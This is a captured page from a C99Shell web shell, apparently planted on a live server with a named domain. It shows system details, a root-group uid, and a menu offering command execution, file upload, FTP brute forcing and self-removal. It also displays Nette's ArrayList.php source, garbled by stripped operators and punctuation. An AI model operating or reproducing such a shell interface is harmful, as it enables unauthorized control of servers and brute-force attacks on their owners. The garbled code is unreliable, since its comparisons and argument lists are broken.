!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/sms.picotech.app/public_html_v5_10/vendor/nette/utils/src/Utils/   drwxr-xr-x
Free 28.53 GB of 117.98 GB (24.18%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     ArrayList.php (2.61 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/**
 * This file is part of the Nette Framework (https://nette.org)
 * Copyright (c) 2004 David Grudl (https://davidgrudl.com)
 */

declare(strict_types=1);

namespace 
Nette\Utils;

use 
Nette;


/**
 * Provides the base class for a generic list (items can be accessed by index).
 * @template T
 * @implements \IteratorAggregate<int, T>
 * @implements \ArrayAccess<int, T>
 */
class ArrayList implements \ArrayAccess\Countable\IteratorAggregate
{
    use 
Nette\SmartObject;

    private array 
$list = [];


    
/**
     * Transforms array to ArrayList.
     * @param  list<T>  $array
     */
    
public static function from(array $array): static
    {
        if (!
Arrays::isList($array)) {
            throw new 
Nette\InvalidArgumentException('Array is not valid list.');
        }

        
$obj = new static;
        
$obj->list $array;
        return 
$obj;
    }


    
/**
     * Returns an iterator over all items.
     * @return \Iterator<int, T>
     */
    
public function &getIterator(): \Iterator
    
{
        foreach (
$this->list as &$item) {
            yield 
$item;
        }
    }


    
/**
     * Returns items count.
     */
    
public function count(): int
    
{
        return 
count($this->list);
    }


    
/**
     * Replaces or appends a item.
     * @param  int|null  $index
     * @param  T  $value
     * @throws Nette\OutOfRangeException
     */
    
public function offsetSet($index$value): void
    
{
        if (
$index === null) {
            
$this->list[] = $value;

        } elseif (!
is_int($index) || $index || $index >= count($this->list)) {
            throw new 
Nette\OutOfRangeException('Offset invalid or out of range');

        } else {
            
$this->list[$index] = $value;
        }
    }


    
/**
     * Returns a item.
     * @param  int  $index
     * @return T
     * @throws Nette\OutOfRangeException
     */
    
public function offsetGet($index): mixed
    
{
        if (!
is_int($index) || $index || $index >= count($this->list)) {
            throw new 
Nette\OutOfRangeException('Offset invalid or out of range');
        }

        return 
$this->list[$index];
    }


    
/**
     * Determines whether a item exists.
     * @param  int  $index
     */
    
public function offsetExists($index): bool
    
{
        return 
is_int($index) && $index >= && $index count($this->list);
    }


    
/**
     * Removes the element at the specified position in this list.
     * @param  int  $index
     * @throws Nette\OutOfRangeException
     */
    
public function offsetUnset($index): void
    
{
        if (!
is_int($index) || $index || $index >= count($this->list)) {
            throw new 
Nette\OutOfRangeException('Offset invalid or out of range');
        }

        
array_splice($this->list$index1);
    }


    
/**
     * Prepends a item.
     * @param  T  $value
     */
    
public function prepend(mixed $value): void
    
{
        
$first array_slice($this->list01);
        
$this->offsetSet(0$value);
        
array_splice($this->list10$first);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0036 ]--